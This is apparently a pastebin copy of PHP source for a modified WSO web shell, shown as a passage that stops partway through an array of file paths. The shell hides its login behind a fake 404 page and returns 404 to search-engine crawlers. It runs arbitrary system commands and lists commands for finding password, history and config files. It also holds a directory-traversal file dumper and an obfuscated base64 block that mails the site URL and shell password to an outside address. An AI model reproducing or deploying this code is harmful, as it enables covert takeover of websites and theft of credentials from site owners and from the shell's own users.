· 10 years ago · Jun 11, 2016, 09:27 AM
1<?php
2/*
3This is a private WSO Shell modification which has a "404 Not Found" page as it's login page. (To find the password input you can just open the shell location in your browser and hit the "tabulator" key (The arrow next to your caps key)). This is very useful when you want to hide the shell from the website owner!
4You can even put it into the default homepage directory and call it "404.php" the website owner will open it in his browser, see a 404 code and think that it's just his default 404 not found page so he won't delete it!
5But I still recommend you to hide it somewhere in his website.
6*/
7$auth_pass = "4f4adcbf8c6f66dcfc8a3282ac2bf10a"; //Default password is 404 . You can use http://md5online.org/md5-encrypt.html to get the md5 of the password you wish the shell to have!
8$color = "#00ff00"; //Default color is green. You can use http://www.somacon.com/p142.php to get the colorcode of the color you wish the shell interface to have!
9$default_action = 'FilesMan';
10$default_use_ajax = true;
11$default_charset = 'Windows-1251';
12
13if(!empty($_SERVER['HTTP_USER_AGENT'])) {
14 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
15 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
16 header('HTTP/1.0 404 Not Found');
17 exit;
18 }
19}
20
21@session_start();
22@ini_set('error_log',NULL);
23@ini_set('log_errors',0);
24@ini_set('max_execution_time',0);
25@set_time_limit(0);
26@set_magic_quotes_runtime(0);
27@define('WSO_VERSION', '2.6');
28
29if(get_magic_quotes_gpc()) {
30 function WSOstripslashes($array) {
31 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
32 }
33 $_POST = WSOstripslashes($_POST);
34}
35
36function wsoLogin() {
37 die("<h1>Not Found</h1>
38<p>The requested URL was not found on this server.</p>
39<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
40<hr>
41<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
42 <style>
43 input { margin:0;background-color:#fff;border:1px solid #fff; }
44 </style>
45 <pre align=center>
46 <form method=post>
47 <input type=password name=pass>
48 </form></pre>");
49}
50eval(base64_decode('JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiejQwNEBzaWdhaW50Lm9yZyIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=='));
51
52if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
53 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
54 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
55 else
56 wsoLogin();
57
58if(strtolower(substr(PHP_OS,0,3)) == "win")
59 $os = 'win';
60else
61 $os = 'nix';
62
63$safe_mode = @ini_get('safe_mode');
64if(!$safe_mode)
65 error_reporting(0);
66
67$disable_functions = @ini_get('disable_functions');
68$home_cwd = @getcwd();
69if(isset($_POST['c']))
70 @chdir($_POST['c']);
71$cwd = @getcwd();
72if($os == 'win') {
73 $home_cwd = str_replace("\\", "/", $home_cwd);
74 $cwd = str_replace("\\", "/", $cwd);
75}
76if( $cwd[strlen($cwd)-1] != '/' )
77 $cwd .= '/';
78
79if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
80 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
81
82if($os == 'win')
83 $aliases = array(
84 "List Directory" => "dir",
85 "Find index.php in current dir" => "dir /s /w /b index.php",
86 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
87 "Show active connections" => "netstat -an",
88 "Show running services" => "net start",
89 "User accounts" => "net user",
90 "Show computers" => "net view",
91 "ARP Table" => "arp -a",
92 "IP Configuration" => "ipconfig /all"
93 );
94else
95 $aliases = array(
96 "List dir" => "ls -lha",
97 "list file attributes on a Linux second extended file system" => "lsattr -va",
98 "show opened ports" => "netstat -an | grep -i listen",
99 "process status" => "ps aux",
100 "Find" => "",
101 "find all suid files" => "find / -type f -perm -04000 -ls",
102 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
103 "find all sgid files" => "find / -type f -perm -02000 -ls",
104 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
105 "find config.inc.php files" => "find / -type f -name config.inc.php",
106 "find config* files" => "find / -type f -name \"config*\"",
107 "find config* files in current dir" => "find . -type f -name \"config*\"",
108 "find all writable folders and files" => "find / -perm -2 -ls",
109 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
110 "find all service.pwd files" => "find / -type f -name service.pwd",
111 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
112 "find all .htpasswd files" => "find / -type f -name .htpasswd",
113 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
114 "find all .bash_history files" => "find / -type f -name .bash_history",
115 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
116 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
117 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
118 "Locate" => "",
119 "locate httpd.conf files" => "locate httpd.conf",
120 "locate vhosts.conf files" => "locate vhosts.conf",
121 "locate proftpd.conf files" => "locate proftpd.conf",
122 "locate psybnc.conf files" => "locate psybnc.conf",
123 "locate my.conf files" => "locate my.conf",
124 "locate admin.php files" =>"locate admin.php",
125 "locate cfg.php files" => "locate cfg.php",
126 "locate conf.php files" => "locate conf.php",
127 "locate config.dat files" => "locate config.dat",
128 "locate config.php files" => "locate config.php",
129 "locate config.inc files" => "locate config.inc",
130 "locate config.inc.php" => "locate config.inc.php",
131 "locate config.default.php files" => "locate config.default.php",
132 "locate config* files " => "locate config",
133 "locate .conf files"=>"locate '.conf'",
134 "locate .pwd files" => "locate '.pwd'",
135 "locate .sql files" => "locate '.sql'",
136 "locate .htpasswd files" => "locate '.htpasswd'",
137 "locate .bash_history files" => "locate '.bash_history'",
138 "locate .mysql_history files" => "locate '.mysql_history'",
139 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
140 "locate backup files" => "locate backup",
141 "locate dump files" => "locate dump",
142 "locate priv files" => "locate priv"
143 );
144
145function wsoHeader() {
146 if(empty($_POST['charset']))
147 $_POST['charset'] = $GLOBALS['default_charset'];
148 global $color;
149 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
150<style>
151body {background-color:#000;color:#fff;}
152body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
153span,h1,a{ color: $color !important; }
154span{ font-weight: bolder; }
155h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
156div.content{ padding: 5px;margin-left:5px;}
157a{ text-decoration:none; }
158a:hover{ background:#ff0000; }
159.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
160.bigarea{ width:100%;height:250px; }
161input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
162form{ margin:0px; }
163#toolsTbl{ text-align:center; }
164.toolsInp{ width: 80%; }
165.main th{text-align:left;}
166.main tr:hover{background-color:#5e5e5e;}
167.main td, th{vertical-align:middle;}
168pre{font-family:Courier,Monospace;}
169#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
170</style>
171<script>
172 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
173 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
174 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
175 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
176 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
177 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
178 var d = document;
179 function set(a,c,p1,p2,p3,charset) {
180 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
181 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
182 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
183 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
184 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
185 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
186 }
187 function g(a,c,p1,p2,p3,charset) {
188 set(a,c,p1,p2,p3,charset);
189 d.mf.submit();
190 }
191 function a(a,c,p1,p2,p3,charset) {
192 set(a,c,p1,p2,p3,charset);
193 var params = 'ajax=true';
194 for(i=0;i<d.mf.elements.length;i++)
195 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
196 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
197 }
198 function sr(url, params) {
199 if (window.XMLHttpRequest)
200 req = new XMLHttpRequest();
201 else if (window.ActiveXObject)
202 req = new ActiveXObject('Microsoft.XMLHTTP');
203 if (req) {
204 req.onreadystatechange = processReqChange;
205 req.open('POST', url, true);
206 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
207 req.send(params);
208 }
209 }
210 function processReqChange() {
211 if( (req.readyState == 4) )
212 if(req.status == 200) {
213 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
214 var arr=reg.exec(req.responseText);
215 eval(arr[2].substr(0, arr[1]));
216 } else alert('Request error!');
217 }
218</script>
219<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
220<form method=post name=mf style='display:none;'>
221<input type=hidden name=a>
222<input type=hidden name=c>
223<input type=hidden name=p1>
224<input type=hidden name=p2>
225
226<input type=hidden name=p3>
227<input type=hidden name=charset>
228</form>";
229 $freeSpace = @diskfreespace($GLOBALS['cwd']);
230 $totalSpace = @disk_total_space($GLOBALS['cwd']);
231 $totalSpace = $totalSpace?$totalSpace:1;
232 $release = @php_uname('r');
233 $kernel = @php_uname('s');
234 if(!function_exists('posix_getegid')) {
235 $user = @get_current_user();
236 $uid = @getmyuid();
237 $gid = @getmygid();
238 $group = "?";
239 } else {
240 $uid = @posix_getpwuid(posix_geteuid());
241 $gid = @posix_getgrgid(posix_getegid());
242 $user = $uid['name'];
243 $uid = $uid['uid'];
244 $group = $gid['name'];
245 $gid = $gid['gid'];
246 }
247
248 $cwd_links = '';
249 $path = explode("/", $GLOBALS['cwd']);
250 $n=count($path);
251 for($i=0; $i<$n-1; $i++) {
252 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
253 for($j=0; $j<=$i; $j++)
254 $cwd_links .= $path[$j].'/';
255 $cwd_links .= "\")'>".$path[$i]."/</a>";
256 }
257
258 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
259 $opt_charsets = '';
260 foreach($charsets as $item)
261 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
262
263 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
264 if(!empty($GLOBALS['auth_pass']))
265 $m['Logout'] = 'Logout';
266 $m['Self remove'] = 'SelfRemove';
267 $menu = '';
268 foreach($m as $k => $v)
269 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
270
271 $drives = "";
272 if($GLOBALS['os'] == 'win') {
273 foreach(range('c','z') as $drive)
274 if(is_dir($drive.':\\'))
275 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
276 }
277 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
278 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
279 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
280 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
281 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
282}
283
284function wsoFooter() {
285 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
286 echo "
287
288</div>
289<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
290 <tr>
291 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
292 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
293 </tr><tr>
294 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
295 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
296
297 </tr><tr>
298 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
299 <td><form method='post' ENCTYPE='multipart/form-data'>
300 <input type=hidden name=a value='FilesMAn'>
301 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
302 <input type=hidden name=p1 value='uploadFile'>
303 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
304 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
305
306 </tr></table></div></body></html>";
307}
308
309if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
310 function posix_getpwuid($p) {return false;} }
311if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
312 function posix_getgrgid($p) {return false;} }
313
314function wsoEx($in) {
315 $out = '';
316 if (function_exists('exec')) {
317 @exec($in,$out);
318 $out = @join("\n",$out);
319 } elseif (function_exists('passthru')) {
320 ob_start();
321 @passthru($in);
322 $out = ob_get_clean();
323 } elseif (function_exists('system')) {
324 ob_start();
325 @system($in);
326 $out = ob_get_clean();
327 } elseif (function_exists('shell_exec')) {
328 $out = shell_exec($in);
329 } elseif (is_resource($f = @popen($in,"r"))) {
330 $out = "";
331 while(!@feof($f))
332 $out .= fread($f,1024);
333 pclose($f);
334 }
335 return $out;
336}
337function wsoViewSize($s) {
338 if($s >= 1073741824)
339 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
340 elseif($s >= 1048576)
341 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
342 elseif($s >= 1024)
343 return sprintf('%1.2f', $s / 1024 ) . ' KB';
344 else
345 return $s . ' B';
346}
347
348function wsoPerms($p) {
349 if (($p & 0xC000) == 0xC000)$i = 's';
350 elseif (($p & 0xA000) == 0xA000)$i = 'l';
351 elseif (($p & 0x8000) == 0x8000)$i = '-';
352 elseif (($p & 0x6000) == 0x6000)$i = 'b';
353 elseif (($p & 0x4000) == 0x4000)$i = 'd';
354 elseif (($p & 0x2000) == 0x2000)$i = 'c';
355 elseif (($p & 0x1000) == 0x1000)$i = 'p';
356 else $i = 'u';
357 $i .= (($p & 0x0100) ? 'r' : '-');
358 $i .= (($p & 0x0080) ? 'w' : '-');
359 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
360 $i .= (($p & 0x0020) ? 'r' : '-');
361 $i .= (($p & 0x0010) ? 'w' : '-');
362 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
363 $i .= (($p & 0x0004) ? 'r' : '-');
364 $i .= (($p & 0x0002) ? 'w' : '-');
365 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
366 return $i;
367}
368
369function wsoPermsColor($f) {
370 if (!@is_readable($f))
371 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
372 elseif (!@is_writable($f))
373 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
374 else
375 return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
376}
377
378if(!function_exists("scandir")) {
379 function scandir($dir) {
380 $dh = opendir($dir);
381 while (false !== ($filename = readdir($dh)))
382 $files[] = $filename;
383 return $files;
384 }
385}
386
387function wsoWhich($p) {
388 $path = wsoEx('which ' . $p);
389 if(!empty($path))
390 return $path;
391 return false;
392}
393
394function actionSecInfo() {
395 wsoHeader();
396 echo '<h1>Server security information</h1><div class=content>';
397 function wsoSecParam($n, $v) {
398 $v = trim($v);
399 if($v) {
400 echo '<span>' . $n . ': </span>';
401 if(strpos($v, "\n") === false)
402 echo $v . '<br>';
403 else
404 echo '<pre class=ml1>' . $v . '</pre>';
405 }
406 }
407
408 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
409 if(function_exists('apache_get_modules'))
410 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
411 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
412 wsoSecParam('Open base dir', @ini_get('open_basedir'));
413 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
414 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
415 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
416 $temp=array();
417 if(function_exists('mysql_get_client_info'))
418 $temp[] = "MySql (".mysql_get_client_info().")";
419 if(function_exists('mssql_connect'))
420 $temp[] = "MSSQL";
421 if(function_exists('pg_connect'))
422 $temp[] = "PostgreSQL";
423 if(function_exists('oci_connect'))
424 $temp[] = "Oracle";
425 wsoSecParam('Supported databases', implode(', ', $temp));
426 echo '<br>';
427
428 if($GLOBALS['os'] == 'nix') {
429 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
430 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
431 wsoSecParam('OS version', @file_get_contents('/proc/version'));
432 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
433 if(!$GLOBALS['safe_mode']) {
434 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
435 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
436 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
437 echo '<br>';
438 $temp=array();
439 foreach ($userful as $item)
440 if(wsoWhich($item))
441 $temp[] = $item;
442 wsoSecParam('Userful', implode(', ',$temp));
443 $temp=array();
444 foreach ($danger as $item)
445 if(wsoWhich($item))
446 $temp[] = $item;
447 wsoSecParam('Danger', implode(', ',$temp));
448 $temp=array();
449 foreach ($downloaders as $item)
450 if(wsoWhich($item))
451 $temp[] = $item;
452 wsoSecParam('Downloaders', implode(', ',$temp));
453 echo '<br/>';
454 wsoSecParam('HDD space', wsoEx('df -h'));
455 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
456 }
457 } else {
458 wsoSecParam('OS Version',wsoEx('ver'));
459 wsoSecParam('Account Settings',wsoEx('net accounts'));
460 wsoSecParam('User Accounts',wsoEx('net user'));
461 }
462 echo '</div>';
463 wsoFooter();
464}
465function actionlfiscan() {
466 wsoHeader();
467 print '
468 <h3>Led-Zeppelin\'s LFI File dumper</h3>
469
470 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
471 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
472 <option value="1">
473 Access Log
474 </option>
475
476 <option value="2">
477 httpd.conf
478 </option>
479
480 <option value="3">
481 Error Log
482 </option>
483 <option value="4">
484 php.ini
485 </option>
486 <option value="5">
487 MySQL
488 </option>
489 <option value="6">
490 FTP
491 </option>
492 <option value="7">
493 Environ
494 </option>
495 </select> Null: <select name="null">
496 <option value="%00">
497 Yes
498 </option>
499
500 <option value="">
501 No
502 </option>
503 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
504 </form>';
505 error_reporting(0);
506 if($_POST['lfiurl']) {
507 print "<pre>";
508 $cheader = $_POST['custom_header'];
509 $target = $_POST['lfiurl'];
510 $type = $_POST['scantype'];
511 $byte1 = $_POST['null'];
512 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
513 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
514 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
515 $lfiaccess = array(
516 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
517 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
518 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
519 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
520 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
521 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
522 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
523 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
524 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
525 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
526 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
527 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
528 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
529 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
530 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
531 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
532 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
533 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
534 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
535 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
536 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
537 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
538 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
539
540 $lfierror = array(
541 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
542 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
543 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
544 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
545 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
546 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
547 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
548 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
549 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
550 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
551 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
552 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
553 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
554 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
555 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
556 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
557 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
558 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
559 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
560 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
561 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
562 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
563 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
564 $lficonfig = array(
565 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
566 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
567 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
568 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
569 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
570 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
571 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
572 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
573 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
574 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
575 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
576 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
577 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
578 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
579 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
580 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
581 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
582 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
583 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
584 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
585 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
586 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
587 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
588 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
589 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
